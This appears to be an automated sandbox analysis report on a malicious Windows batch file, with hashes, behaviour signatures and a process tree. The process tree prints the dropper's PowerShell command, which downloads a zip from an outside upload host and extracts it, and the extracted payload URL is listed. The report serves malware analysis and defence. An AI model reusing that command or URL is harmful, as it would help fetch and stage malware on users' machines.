Analysis

  • max time kernel
    21s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/10/2023, 16:35

General

  • Target

    tesy - Copy (12).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2660
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
        PID:1492

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5fyddghd.sfk.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3548-9-0x0000011ACCC60000-0x0000011ACCC82000-memory.dmp

      Filesize

      136KB

    • memory/3548-10-0x00007FFA59BB0000-0x00007FFA5A671000-memory.dmp

      Filesize

      10.8MB

    • memory/3548-11-0x0000011ACC2A0000-0x0000011ACC2B0000-memory.dmp

      Filesize

      64KB

    • memory/3548-12-0x0000011ACC2A0000-0x0000011ACC2B0000-memory.dmp

      Filesize

      64KB

    • memory/3548-16-0x00007FFA59BB0000-0x00007FFA5A671000-memory.dmp

      Filesize

      10.8MB